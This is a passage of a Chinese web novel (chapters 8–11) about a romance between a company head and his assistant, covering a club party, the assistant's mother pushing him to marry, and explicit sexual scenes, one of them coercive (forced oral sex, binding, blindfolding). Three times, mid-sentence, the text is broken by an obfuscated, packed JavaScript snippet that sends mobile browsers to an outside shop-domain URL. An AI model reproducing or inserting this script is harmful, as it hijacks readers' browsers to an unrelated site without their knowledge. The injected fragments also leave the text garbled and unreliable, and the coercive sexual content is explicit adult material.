直到萧疏关了门,走过来贴近他,抓着他的后脖颈在他嘴角落下一吻,“跟我回家。” 他声音暗哑,方闻钟也是一激灵,身体却不敢动。 被人在后面抚摸着,他眼睛瞪圆,然后在萧疏沉默的注视下,慢慢放松,“知道了,萧总。” “你不知道,”萧疏顺手把自己手里的衣服递给他,“跟我一起下班。” 在方闻钟愣神的功夫,他转身又说了一遍,“我不想再等你一小时,难道你还要装模作样和我分开走?” 方闻钟无法,只能跟他一起。 他的衣服被他拿在胳膊上,下楼时,果然遇到了其他人,恰是项目部的一个经理,在萧疏面前不敢多话,却是和方闻钟背着萧疏,说悄悄话,“下班啊,衣服不穿吗,挺冷的。” 问的人看着,萧疏估计也听到了,方闻钟进退两难,一时不知如何作答。 最后尴尬地穿上萧疏的衣服。 一到地下停车场,方闻钟立马想脱下还给萧疏,“穿着吧,”萧疏说。 他们一起上了车,司机等候多时,对多一个人稀松平常。 一路无话,最后慢慢放松的方闻钟,无聊的把视线落在萧疏放在大腿的手上,然后越看越专注,那性感有力的手,忽然抬起来,萧疏捏过他的下巴,让他正视前方,他跟他咬耳朵,“方闻钟,你这视线要吃了我,等一会儿,”萧疏笑了。 方闻钟脸红成了柿子。 他们并肩走着,直到萧疏淡定地输密码时,都看不出来两个人有丝毫急切,不自在,自然地像赴一场商业宴会,正式又泰而处之,可一关上门,萧疏就把方闻钟抵在门后面。 他的膝盖插进他双腿之间。 萧疏直接扔了方闻钟的眼镜。 方闻钟被扯得头歪了一下,继而,嘴唇被炙热地吻住。 …… …… Thedetailsofthedeletionareshowninthments. 方闻钟把头垂在萧疏肩上。 额前的发已湿透,从头到脚处处殷红,“萧疏,”他低低叫了一句,然后吃力地离开他,注视他,“我可以摘掉你的眼镜吗?” 萧疏没作声。 方闻钟颤抖地抬起手,摘掉了那透明的玻璃眼镜…… 一双摄人的眸子里,现在映的全是他。 8. 第 8 章 “什么时候回去?” 方闻钟以为萧疏在提醒他该走了,一滞,立马准备穿衣服,却被萧疏抱得死死的,他们躺在床上,他趴在他身上,“不走了,我还要,嗯?”他擦着他的耳朵说。 方闻钟偏了偏头,继续趴下去,安静了许久,乖巧道:“嗯。” 他们的身体上下颠倒,萧疏的胳膊刚撑在方闻钟的脑袋旁,他的手机突然响了。 一瞬间,两个人都静止,不作声。 手机不厌其烦地响了三四遍,萧疏终于不耐烦地接过,“干什么,”他语气低沉沉,像清早没睡醒被打扰到的狮子,然而电话那头太不敏感,是萧疏的一帮朋友,打电话叫他出去聚聚,萧疏就这脾气,都知晓,磨了好长时间,萧疏一手蹭着方闻钟的脸颊,一手拿着手机,“再说吧。” “再说什么再说,赶紧出来喝酒!等你好长时间了!” 朋友们大喊,听得出来很急切,好多人,“你这么晚还在加班?” “嗯,”萧疏脸不红心不跳地说。 下面的方闻钟想起来,被他眼神警告,方闻钟只好乖乖等他打完电话听指示,问了都有谁,萧疏说:“好,等我一会儿,我带个人过来。” 一听他要带人,那帮人兴奋极了!像发现了新大陆! 叽叽喳喳想跟萧疏先套话,萧疏立马挂了,徒留一群鸭子在那边胡乱猜测。 萧疏下床,跟方闻钟说:“跟我参加个聚会吧,都是朋友。” 他的朋友,显而易见不是总就是富二代,方闻钟也不认识,顿时想拒绝,萧疏回头说:“以后对你工作有帮助,见个面眼熟一下。” 方闻钟听到愣了一下,只好说:“好。” 萧疏穿好衣服,过来亲了方闻钟一下,“这次不巧,下次再补偿你,”然后他先出去了。 方闻钟好笑,好笑之间又觉得暖呼呼的,也不知道为什么…… 司机驱车开到会所,方闻钟跟在萧疏身后进去,第一次来这种灯红酒绿的奢靡地方,他还有点不适应,被接待的一个小哥看了许久,方闻钟不自在,以为哪里出错了。 谁料人家只是看他的西装,他和萧疏两个人,西装革履,正经的不像来这种会所……顺便记记人脸,能跟萧大少一起来的,免不了以后要多高看几分。 一进门就被一群人蜂拥而上围住,左右观看,“人呢?” 萧疏指指方闻钟。 有人疑惑,有人已经认出来唏嘘,“你说的是你助理啊。” 萧疏坐在主位上,方闻钟有些拘谨,跟在他旁边,萧疏右边的一个人朝方闻钟举了举杯子,然后看萧疏,“带方助理过来,你还真刚结束工作啊?” 萧疏眉都不变,“嗯。” “这是……”他跟方闻钟一一介绍坐在他附近的几个人,远的就不必了,方闻钟起身和他们打招呼,他们也都回应,知道萧疏身边有这么一个得力的让他信任的助手,没人会难为他。 萧疏看不过方闻钟在这里鞠躬应酬,直接把他拉坐下,“他们又不是你的上级,不用给好脸色。” 方闻钟一下脸红了。 “对对对,”朋友们附和,知道萧疏这是不让他们在他助理面前拿乔,就当朋友处着,纷纷给方闻钟面子。 恰好萧疏又说:“平日里也没见你对我这么恭敬过,”一句话既显他和方闻钟的亲近,把他划分为自己人范围内,又活跃了稍微严肃的气氛。 很快,方闻钟在他三言两语的帮助下,就顺利融入进去了,不再尴尬。 “最近忙什么呢?” 萧疏轻轻喝了一口酒,单手解开了一粒扣子。 他笑得像运筹帷幄的猎手,瞟了方闻钟一眼,“过段时间就知道了,有大动作。” 很快,有人反应过来,是和乔晟有关!圈子里都听得到消息,再想萧疏那特殊的一眼,必是方助理在替他运作,都默契地心照不宣笑起来,跟方闻钟喝酒。 方闻钟也抿了一口,这个场合他不用多喝,意思到了就成。 偏头间,忽然看到萧疏解开的衬衣领子,能看到脖子侧面有一道红痕,那,方闻钟呆了,是他指甲划出来的。 他刚想说什么,那些圈外的朋友都围过来了,一时周围多了好多人,声音也大了起来,萧疏只跟几个坐在身边的朋友交谈,其他人想巴结他也到不了跟前。 后来更是来了几个长相漂亮的年轻男孩、女孩儿…… 在方闻钟愣神的功夫,朋友们那边也提到前段时间传出来的顾家要和萧疏联姻的消息,但一看萧疏的冷嗤,就知道他不同意。 几句话略过去了。 “你想说什么?”萧疏把头靠过来离方闻钟很近。 方闻钟只好立马告诉他,“你脖子里有我弄出来的痕迹,”他又羞又急,不想萧疏被别人看到再口嗨什么桃色新闻。 萧疏眼镜片后的目光扫向他,看得方闻钟紧张了,他才回过头去。 “知道了,没事,”他对他说。 扣子还是没系。 “我去趟卫生间,”方闻钟先走了。 期间,还有一个人从他们进来就一直注视着萧疏和方闻钟,从萧疏说要带一个人过来他就觉得不正常,哪怕他们再像普通总裁和助理,刚结束完工作,这人也八卦变态雷达一直高高竖着。 这不,就让他看到了萧疏脖子上的被人指甲划出来的痕迹! 他猜测他们不清白! 但这个想法太胆大了! 看方闻钟出去,他没忍住也跟上去。 卫生间里,方闻钟听到人来,立马用刚洗完的手,把衬衣领子规规矩矩系到最上面,他的胸前,可比萧疏的痕迹多多了,顺便戴上眼镜,朝来人点了点头。 这是局上的一个富二代。 富二代叫周子琪,周子琪一看方闻钟没戴眼镜前微微发红的眼尾,更兴奋了,像狗一样在他身上探索。 方闻钟皱了皱眉,先出去。 他要了一杯热水,萧疏每次事后都要喝水,刚他听出来他嗓子不舒服,于是在被问人不解又震惊的目光下,端了一杯热水,准备进去送给萧疏。 门轻轻开着,他突然听到什么,停住脚步。 “不想结婚,也不想找一个?”萧疏知道朋友说的是床伴关系,这在他们之间理所当然,多的是一夜情,或者长期包养,玩玩而已,都没感情,但身边肯定不会空缺着,相比之下萧疏就是个另类。 萧疏朝他笑,然后挑眉,“你知道我没有?” “你有?你有!你说什么?!”朋友震惊极了,一直看着萧疏,盯着盯着,就让他发现不对劲,萧疏脖子里,那是什么……不会是才玩过的痕迹吧! 他刚要尖叫,“闭嘴,”被萧疏唬回去了。 于是所有情绪都憋回去,最后悄悄问萧疏,“什么身份啊?多久了。” 萧疏一个字都不回答。 好巧不巧,方闻钟要水的功夫,周子琪先回来了,又在他刻意偷听下,他隐约听到了萧疏和朋友的对话。 于是他提出玩游戏,玩输了要接受挑战,几轮间,就轮到了萧疏。 大家都安静下来,要看周子琪会给萧疏提出什么挑战。 忽闻周 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13710962|144550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子琪说:“萧总,方助理是不是爱你啊?” 他语出惊人,短短几个字不止把刚到门口的方闻钟说愣了,也把里面一众人说得呆滞!连萧疏都停下动作,一瞬不瞬地看着他。 “嘿嘿,”周子琪还在说,誓要引爆大众的兴奋点和八卦欲,“恰好方助理不在,萧总你挑一个酒侍,坐在你腿上喂你喝酒怎么样?不然我怕方助理来了他要嫉妒死!” 顽劣的话终于说完,一室寂静。 方闻钟在已经有人看到他站在门口,捏着拳头,然后松开,推开门,进去在所有人注视下,把一杯热水放在萧疏跟前。 萧疏接过,忽然低低笑了几声,好听又温柔,“他们说,你爱我?” 他抬头看他。 所有人都在看热闹,所有人都觉激动又亢奋,还以为萧总在配合他们玩什么呢,或者爆出一个大瓜(周子琪说不定不是开玩笑),可只有方闻钟,不敢把萧疏的温柔真当温柔。 他只觉这一刻,他是聚光灯下想尽办法要掩藏自己的卧底,审判者就在他面前。 他全身肌肉处处僵硬,僵硬到动一寸都有点疼,脸上的肌肉扯出理应最完美,实际面无表情的弧度。 未开口,萧疏就把一杯热水喝下去,他看周子琪,“你觉得我选哪一个好?” 啊,大家都好失望,看来萧总就是在跟大家开玩笑嘛,关方助理什么事,周子琪也被萧疏意料之外的问话弄得有点懵逼,他在问他选在场哪一个酒侍吗? 漂亮酒侍们还真有点期待。 周子琪不死心,“不如方助理帮萧总选一个,说好了啊,接受挑战不能反悔。” 萧疏仰身看着他,“那你帮我选一个。” 坐在旁边的朋友不知道萧疏在搞什么,但敏锐的知道,这不符合萧疏一贯的做派,方助理…… 方闻钟不怕除萧疏外的每一个人怎么说,说他爱他也罢,起哄他会吃醋也罢,可他怕这一切都在萧疏的眼皮子底下发生。 而且,他们不久前还,亲密无间。 “萧总,”方闻钟感觉头皮上密密麻麻地在渗出汗,那些萧疏今晚给他的甜意,在一点一点被抽走,他无所适从。 所有人都意想不到,萧疏忽然一把把方闻钟拉下坐他腿上,然后用他的手喂自己一口酒,然后拉方闻钟起身。 他紧接着又面向方闻钟,喝了三杯酒,爽快又普通的语气,够所有人听清,“抱歉,冒犯了,我自罚三杯。” 直到被拉出会所,方闻钟都没明白最后是怎么了。 原来萧疏说‘他们还配不上’。 原来萧疏替他摆脱了被看戏,给予了他尊重。 原来萧疏带他离开了那个他觉得像斗兽场一样的地方,顺便临走前眼神冷冰冰地警告了周子琪,令他不敢再做什么。 只有萧疏较好的朋友知道了什么。 看完一场好戏,忽而忍不住低头笑了出来。 是他啊。 萧疏还挺护着。 也只有朋友知道,其余所有人都以为是周子琪开的一场胆大妄为的玩笑。 坐在车上,方闻钟沉默地看着窗外,他离萧疏很远。 萧疏叫了他两次,都没得到回应,他轻蹙着眉,过去把他脸掰过来。 这才发现,方闻钟脸上有一滴泪落下来。 “你……”萧疏呆住了。 方闻钟冷淡地说:“萧总,你疼疼我,”不要再这样拿我取笑了。 萧疏忽然就抱住他,把他脸埋进自己脖子里。 送方闻钟到家,萧疏抬头看着公寓,“你就住这里?” 9. 第 9 章 方闻钟要上去,萧疏看他今晚有点没精打采的样子,又忍不住说了一遍,“在会所的事,抱歉。” 方闻钟抬头,“没什么,萧总,再见。” “方闻钟。” 他转身。 萧疏上前了两步,他依旧双手插兜,许是接下来的话不符合他一贯霸道冷漠的作风,让他有点一时难开口,最终还是看着方闻钟说出了道歉的话。 “我不该跟着一起起哄,让你难堪。” 方闻钟突兀地笑了一下,他很想问,‘萧疏,问出我是不是爱你的那一刻,你想什么呢,’还想问,‘让我帮你选一个喂酒的酒侍,是拿我当什么?’,所有这些细细密密的难以出口的问题,都化作在萧疏道歉下的一句:“没关系”。 萧疏忽然上前,又揽住他,他们交颈抱着,他拍了拍他肩膀。 然后离开,“我知道我们的关系简单又纯粹,今晚是我逾距了,你一向对床事和其他生活分得开,以后我也会严格做到。” 可能是去会所之前,他们还不清不楚地黏在一起,所以让他忍不住在那种场合把暧昧的氛围又延续了几秒,才说出浑话。 而之所以还留在这里,解释这么多,还是因为方闻钟的一句,“萧总,你疼疼我。” 看他流泪说出这番话,不可否认,萧疏的心里被扎了一下,不太舒服。 能让萧疏道歉到这个份上,方闻钟还有什么不满意,况且,他最后的做法,也解脱了他。 他只是有点好笑,顺便之余再感慨一句,萧疏今晚主动再三低头,恐怕只有在他面前这样过吧,外人谁不是被萧总冷漠震慑,他萧疏才不会错…… 方闻钟对他总是心软,看他这个样子终于好脾气地说了一句,“真的没关系,萧总,还要感谢你今晚带我去见你的朋友呢。” 语罢,他又柔软地抱了一下他,算是给这场意料之外的争议画上一个和平的句号,“萧总,再见,赶紧回家吧。” 送他的车走了,方闻钟才轻松地耷拉下来肩膀。 他在萧疏眼下,玩了一场小计谋。 几个小时前的恐惧、害怕,因为他求饶的一句话,全被萧疏理解为他不想跟萧疏牵扯上情色关系,在某种场合被不熟的外人指点,实际上,他也只不过是让一场突然而来的试探未果。 在他面前示弱,效果还挺好。 方闻钟长长地叹了一口气,没被发现他的不自在,还被萧疏好好道歉了,总算落下帷幕。 可能,周子琪那个富二代还怀有变态的想挑拨他们的想法,但估计在萧疏的威慑下也不敢明目张胆再做什么,至于场上其他围观者,恐怕事后都不当做一回事吧,周子琪把他轻视为觊觎萧疏,和萧疏不清白的卑微下位者,萧疏那三杯酒带他离开后,他还是他身边不能被轻易得罪的方总助,是萧疏的左膀右臂,是他的脸面。 最后和萧疏分开前,他还皱着眉问了他,“怎么在这种地方租房住,这几年没买房?” 萧疏以前可从未关心过他的衣食住行。 这次也许是碰巧问了一句。 方闻钟没骗他,“在老家买了房子。” 萧疏点着头,“怎么不租个好点的,没钱?” 方闻钟:“嗯,以前都用来还债了,刚还清……”他对他笑,毫无隐瞒。 萧疏只是垂了下眼皮,然后就上车关上了门。 - 到六楼一共要跨过93层楼梯,当方闻钟打开门,以为今天就这样结束了,谁料,他妈来的一通电话,又让他身心俱疲,难以入眠。 方老师听闻他上次相亲没有后续,又激动地来质问。 这还是和他相亲的女生,黄可可帮忙拖延了一番。 起初黄可可说会和方闻钟慢慢接触、相处,但几次和方闻钟约饭都被婉拒后,她不好意思地跟方老师说方闻钟没看上她,开玩笑让方老师再给他介绍别的美女吧。 黄可可说这话也挺心酸的,但奈何方闻钟油盐不进,她又真没什么特别急的事,需要方闻钟帮助,没他不行,所以只吃过一次饭后,就和方闻钟几乎没再联系。 可按方老师的意思,好像认定了她…… 方闻钟揉着太阳穴,听着陈词滥调,方老师一贯认为他是个闷葫芦,这个特点,小时候被夸作乖巧,现在,全被责骂为一棍子打不出来个屁,懦弱、没出息,“挣钱有什么用!到了年纪不成家,连个女人也找不到,你还有什么用!” “你说忙工作忙工作,就只有你一个人忙吗,这么些年来要不是我一直给人当保姆,还要照顾着你爸,你以为凭你一个人!凭你那瘫痪在床的父亲!能把家里操持过来吗!光你挣钱还债了是不是?” “妈给你找的不漂亮吗?不优秀吗?你还有什么不满意你说啊!” “你到底为什么不想结婚?” “我还不是为你好!你有考虑过我们吗……”方老师哭出来了。 方闻钟知道,自从高中,他爸出事瘫痪,他们家欠了很多钱,他妈被逼辞去工作,夜以继日地守在那个房子里照顾他爸,后来,还是拉下尊严,去给隔壁的女人当保姆照顾孩子。 隔壁的老太太以前没少蛐蛐方老师,方老师来她家当保姆了,每月挣两三千块钱,就被她天天阴阳怪气地唠叨:“还是我们家大志有出息啊……女人太要强没什么好处……你们家闻钟学习好啊?学习好有什么用?……我孙子以后可不给别人打工,到了二十岁就把媳妇儿领回家,结婚给我生大胖重孙!” 要强的方老师,在他们这一辈半路被堵,所以把所有的希望都寄托在方闻钟身上! 可渐渐的,方闻钟离她越来越远,挣的钱越来越多,债都快还清了,也快脱离她的控制,母子俩已经很久很久没有走心的交流过。 方闻钟是能挣钱,可是他二十八了还没谈过对象,还未结婚,他给不了方老师世俗意义上的成功,所以方老师被困在左邻右舍那个怪圈里出不来,日日|逼他,也难为自己。 “为我好,”方闻钟呢喃着,为我好那你知道我想要什么吗? 全身每一个细胞都在宣布罢工,不想再多说了,说了他妈又不听,自顾自地沉浸在她想说的话里,而他只需要听着,最好立马照做。 他没忍住头枕在沙发上,问了一句,“想要我结婚,结婚之后呢,是不是还要生孩子?” 可是方老师真的有期待他们家出现一个新的生命吗? 她在极力完成“父母”的使命,而他需要像一个傀儡配合,救她出那个被说三道四自己给自己找罪受的苦海。 然后把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13710963|144550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己埋进去。 时间已经让方闻钟学会了欺骗,“知道了妈,你别催,我会慢慢考虑的。” 第二天工作,萧疏对待他比往日更冷淡了些,连工作中出一点小错,骂他的话甚至比别人更重,同事打趣,“萧总这是又吃炸药了!” 他捏着文件在手中印出红痕,面色正常道:“这是对我高要求,”这正是他所希望并要求萧疏这样干的不是吗。 方闻钟后又看到黄可可两个来电,他有点烦,没接。 可是三天后的下午,她们就给他来了一个大“惊喜”! 房东说他房间里进去了个人,他去贴物业通知单子时,看见一个姑娘正在他屋里帮他收拾房间,是个挺漂亮的姑娘,有他家钥匙,是自己开门进去的…… 方闻钟冷着脸,提前下班回家,一看果然是黄可可! “呃,”黄可可还有些不好意思,但依旧笑着脸红扑扑的,方老师跟她说她很支持他们,方闻钟就是不善言辞,也很喜欢她,但他工作太忙了,就托她帮忙照顾一下他的生活起居。 方老师特别信任的把方闻钟租的房子地址和钥匙给了她,说:“女孩子可以主动一点,我了解我儿子,他没有不同意,只是不知道如何和你相处,你多包容一点。” 黄可可虽然觉得好像不对劲,不太好,但她真的很满意方闻钟,也觉得方老师说得对,女孩子可以主动一点。 今天过来,方老师边和她打视频边让她带她看看方闻钟住的地方。 她们像一个野蛮的入侵者一样,旁若无人地围观方闻钟的所有隐私,方老师指挥黄可可帮忙收拾一下这里,那里把东西摆放整齐一点,最后让她扫地拖地,一直用最亲切的语气鼓励她,黄可可也就没觉得被指挥干活有什么不舒服…… 末了,能这样了解方闻钟,她还偷偷窃喜。 方闻钟的屋子,果然如他这个人一样,表里如一,简洁、老实、没什么不妥、没什么出格,也不怎么有意思,除了黄可可发现,方闻钟卧室里,有一些看起来很不一样的物品。 一套衣服、一双皮手套、一条领带、一只单独的袜子、一颗纽扣、一只尊贵的签字笔,还有若干书籍、杂志…… 好像都是男士物品,但就是和方闻钟这个人好像融入不到一块,可能是因为它们看着都很贵吧! 黄可可笑笑,没有乱动。 方老师从头到尾也没有发现丝毫不妥。 方闻钟焦急赶来,黄可可正挂了电话,收拾好准备出门。 “谁叫你来的!”方闻钟喘着粗气,凶狠地看着黄可可。 黄可可被惊吓了一跳,方闻钟的样子有些害怕,她顿了两秒,扬起方老师给的钥匙,“你妈妈说让我平日里多来‘照顾照顾’你,你不是工作忙吗,我主动……” 方闻钟一把抢过来她手里的钥匙。 黄可可眼泪出来了,钥匙环在她指尖划破一条长长的口子,血渍立马渗出来! 方闻钟额角青筋直跳,“不用!” 他接起了萧疏的电话,萧疏问工作上的事,挂前,轻微不满,“怎么这么早就下班了。” 方闻钟应付完萧疏,回头看女生,对不起都不想说,最后把路让开,直接道:“你走吧。” 黄可可哭着跑开了。 10. 第 10 章 方闻钟以为他的严肃、责怪能让方老师认识到她的错误,可她竟变本加厉道:“我做的一切都是为你好!可可人都同意经常上门照顾你帮你收拾给你做饭了,能有一个这么体贴的姑娘,你还要干什么!” “要不是你爸爸,我至于十来年来没管过你吗,我也想亲自过来看着你,照顾你,你说这都怪谁啊!” 方老师声音比他还大,比他还崩溃。 方闻钟只觉得所有的信任,在这一刻开始慢慢崩塌了。 那把强制收回来的钥匙,就像横亘在他和家人间摇摇欲坠的亲情和牵挂。 存放萧疏东西的地方,没被动过,方闻钟脸冷冰冰的合上抽屉,再回到公司,有人发现他的状态不好了,萧疏也在开会间多看了他两眼。 他紧皱的眉头,看得方闻钟一凛,私下的情绪,可不敢再带到工作中。 中午下班前,萧疏问他怎么了,他没说实话,“没事,萧总,我下午能请一个小时假吗?或者……可能需要两个小时。”他不确定。 “什么事,”萧疏难得八卦一句。 “私事,”方闻钟只低着头,没说明白。 “好,”萧总点了头,正好他下午有约,本想带着方闻钟一起,他一个人也一样。 萧疏和人约好了三点的下午茶。 对方是个四五十岁的中年人,为了附庸风雅,又符合他年轻人的气场,特意约萧疏来的地方是一家高档的精致茶点店。 迎接完萧总后,两人坐在榻榻米上,面前一盏碧绿色的茶盏里,盛着清香、温热的茶饮。 萧疏的大衣被挂起来,对面人起身出去的瞬间,他隔着打开的门,突然看到了坐在大厅里,面对面,距离相近的方闻钟,和一个女人。 萧疏的茶盏一直端在唇前,合作伙伴再来时,稍微察觉到萧总好像有点不高兴,但为什么不高兴他不知道,小心伺候了一会儿,可萧疏再没动吃的喝的东西,那杯茶被他晾在一边。 生意谈到最后,中年人说:“本来想带我女儿来见见萧总的,萧总不是也说带人来学习一下?但我女儿有事来不了,萧总下次可得再给我一个面子啊……” 萧疏浅浅道:“嗯。” 中年人的女儿哪是来不了,只是最近听说萧疏没有联姻的打算,不喜女人,他不敢冒险再触他霉头,他们目的不纯,可是为一件本来就希望很小的事,再不小心得罪萧疏,犯不着。 所以他一个人保持着最单纯的商业心思,来跟萧疏见面了。 萧疏说:“你先走吧。” 私人包厢的门被推开,再合上,方闻钟和那个女人还坐在原来的位置上。 萧疏看不到方闻钟的脸,他背对着,面对他的女人,一直在尽力朝方闻钟笑,还离他越来越近,哭着跟他说什么。 萧疏垂下眼。 等了一刻钟,萧疏忽然拿起大衣,起身,就那么一身寒霜地直接出去,可是,方闻钟已经不在了。 并没有令他高兴。 因为萧疏要临时出差,这次没带方闻钟,他直到两天后的下午才回来。 在家洗漱了一番,随手打了几个电话,萧疏不准备再去公司,时间已经来到下午五点多,他身着黑色浴袍,坐在沙发上翻着杂志给方闻钟打电话。 “过来。” 方闻钟拒绝了他。 说是有事。 萧疏又问了一遍,大概多久结束? 方闻钟说他正在家里,乔晟那边联系他,他看资料呢,估计弄完就九十点了。 孤零零地一个人在家里,萧疏忽然有些想他,说了“好”,就挂了电话。 可是九点多,还是吩咐司机载他去方闻钟的出租屋。 上楼梯时,他小心地不让大衣被墙或楼梯蹭到,一张脸比外面的天气还冷,黄可可刚从五楼下来,一见到男人,惊讶地站在原地不敢动。 他锋利的镜片下射过来的目光,把黄可可吓得以为遇到了坏人! 可哪家坏人这么帅!穿的还这么像走秀的衣架子! 一身奢侈大衣、皮鞋,尽显他的尊贵、高不可攀。 萧疏原地不动,就那么看着她。 黄可可暗吸了一口气,抓紧自己侧边的包包,然后贴紧墙壁,和萧疏擦肩而过,迅速跑开了! 跑到楼下一层,还忍不住偷偷抬头看他。 萧疏已经不屑于再低头。 到楼外面,看到停着的那辆上千万的车!黄可可一下就猜到是刚上去的男人的!不知道他来这里是干什么?要找谁? 黄可可漫无目的地猜着,上次和方闻钟吃饭,都说清楚了,她也认真道了歉。 今天再来找他,是方老师寄过来的几瓶腌肉,寄希望于她再来方闻钟这里“献殷勤”,她直接来给他了。 方闻钟刚合上门,没一会儿又被敲响。 打开,“萧总?” 萧疏抬头看了眼门牌号,603,他记住了。 “你怎么来这里了,赶紧进来,”方闻钟又有些慌乱又有些激动或者其他莫名其妙的心思,心突然跳很快,把萧疏迎进来。 只需要几秒,就足够萧疏看清他房间里的一切。 桌子上没有电脑,没有文件,只放着几瓶看不出什么东西的食物,门口的拖鞋还歪歪扭扭地乱放着。 方闻钟一脚踢进去,他才不要给萧疏留下他不讲卫生,乱糟糟的形象呢! 于是先一步顺手把本来不知道怎么处理的腌肉也赶紧放冰箱。 幸好,这里前几天才被打扫过。 “萧总,你坐吧,我去给你倒杯水,”方闻钟手忙脚乱,还想给他弄个果盘,上次萧疏只送他到楼下,这次大晚上突然上来,还精准的找到他,方闻钟脑子里乱哄哄的,一边想萧疏这时候找他干什么,一边天马行空,这好像是第一次,萧疏来他住的地方。 萧疏坐下,水杯被递到他面前,他没接。 方闻钟才后知后觉地察觉到,萧疏来找他,不是来跟他做朋友的…… 他尴尬地把杯子放下,萧疏旁边的小沙发,他看了一眼,却没敢坐。 “家里来客人了?” 冷淡的话音响起,方闻钟反映了半天,才猜测,是不是黄可可?他们在楼梯上碰到了? “也不算,”方闻钟摸了摸后脑勺。 萧疏弯着腰把玩着杯子,水杯倾斜着,始终没有晃出来,“方闻钟,你知道我最讨厌什么,最近跟我撒过多少慌?” “啊?”方闻钟莫名其妙。 “东西是她送来的?”他看了眼冰箱。 “啊,对,”方闻钟点头,也算。 “那天请假是跟她吃饭?” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13710964|144550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嗯。” “她就是你之前相过亲的姑娘?” 萧疏怎么连这个也知道!方闻钟渐渐睁大眼,不是,萧疏今晚突然说这么多和黄可可有关的话是干什么? 萧疏抬头,那一瞬间,方闻钟以为他是跟萧疏第一次见面…… 他还像,恨不得撕碎他! “过来!” 萧疏又说了一遍。 方闻钟刚上前,就被他突然一把拉着踉跄着跪在他面前! 萧疏岔开腿!他的头莫名其妙就在那个尴尬的位置! 骨节分明的白皙手指,一下一下,捏着他的后颈,方闻钟刚觉有点痛,就被他一下深埋下去! “唔…” 方闻钟在挣扎,可压着他的手越来越有力,脸下突兀的触感让他红遍全身! 他的另两只手,还被萧疏轻易用一只手抓住! “我敲开了第一家门,是一对老夫妻,他们告诉我找错了,第二家,是一个带孩子的男人,他讹了我一眼,把门拍在我脸上,第三家,就是你,方闻钟,找你可真不容易。” 方闻钟渐渐停止动作。 “想结婚了?和相亲的人还私下来往?还是打算瞒过我,偷偷去上别的女人?” “方闻钟,你胆子不小!” “是不是我让你觉得我太善良了,才敢背着我一次次欺骗!” 他究竟在说什么!方闻钟只觉冤死了! 可是,他接下来就让他用嘴拉下拉链。 …… 方闻钟的嘴角红红的,口水留下来,他又羞又急,被折腾出了眼泪和汗水。 低低的,一直在他腹部喘着气。 萧疏已经松开他胳膊,抬起他下巴,“没出来,继续。” “萧疏,你变态!” 方闻钟没忍住骂了一句。 萧疏冷笑了一声,“又不是第一次,矜持什么,”他摸着他灼热的唇瓣,似乎在想象,那里被白色玷污后的样子。 方闻钟在他的眼神下,忍不住越离越远,大概知道萧疏误会了,最近他们又没有机会好好说话,他也没打算和萧疏说家里的事,可是,好像不解释一句不行了。 萧疏忽然看到了放在桌下的几瓶酒。 他拿出来,一看瓶子,皱了皱眉,挺漂亮的包装,果酒,他偏头,“她送的?” 又是黄可可!方闻钟心里都毛了。 可是他当下那个反应,好像已经给了萧疏确定的回答,萧疏一下用装酒的袋子,从后面反捆上他的手。 那一条丝带也没放过,蒙住了他的眼睛。 “萧疏!萧疏!” 萧疏把他直接压进沙发里,从背后覆上来! 他要在他的住所,在他最私密的地方,留下他拥有过他的痕迹!萧疏把眼镜扔开,无框玻璃镜片,扔到地上发出脆弱的一声响。 他的疯和变态,这一刻在方闻钟背后展现的淋漓尽致。 那座小小的沙发,根本经不起他们这样折腾,十几分钟后,方闻钟就嘶哑道:“慢,慢点。” 萧疏咬着他的脖子。 他侧过头嘴唇贴着他的鼻子说:“去床上好不好。” 无论他再怎么欺负他,他还是会在很久之后,把那条丝带,偷偷放进那一堆萧疏的物品里。 他藏起来的,他的爱。 11. 第 11 章 放纵了一夜的代价就是第二天两个人都起不来床! 萧疏和方闻钟一起挤在他一米五的小床上,男人的胳膊还紧紧环绕着他,大腿搭在他身上,因为扔掉了眼镜,萧疏的头发有几缕落在额角,显得随意又性感。 男人这幅慵懒的姿态让方闻钟看入迷了。 这里真是委屈了睡床最小都要睡两米的萧总!可方闻钟看着看着,就忍不住勾起嘴角。 他笑起来时不小心咳了一下,这一下就觉得嗓子越来越哑,一张口,那声音简直听不得……方闻钟后知后觉地想起来,昨晚半夜,他们闹出来的动静,萧疏逼着他叫出来的样子,不知道房子隔不隔音啊,会不会被隔壁听到? 他羞得脸上都快冒热气了。 地上扔着一瓶酒,那是昨晚萧疏逼他喝的,一到床上方闻钟就感觉到了风雨欲来的架势,萧疏压根不给他解释的时间,或者看方闻钟这么乖,这么配合。 估计也很快知道了情况没他想的那么糟,以萧疏的敏锐,能立马察觉到,但以萧疏的变态!也能让他装作不知道,不动声色的继续玩方闻钟! 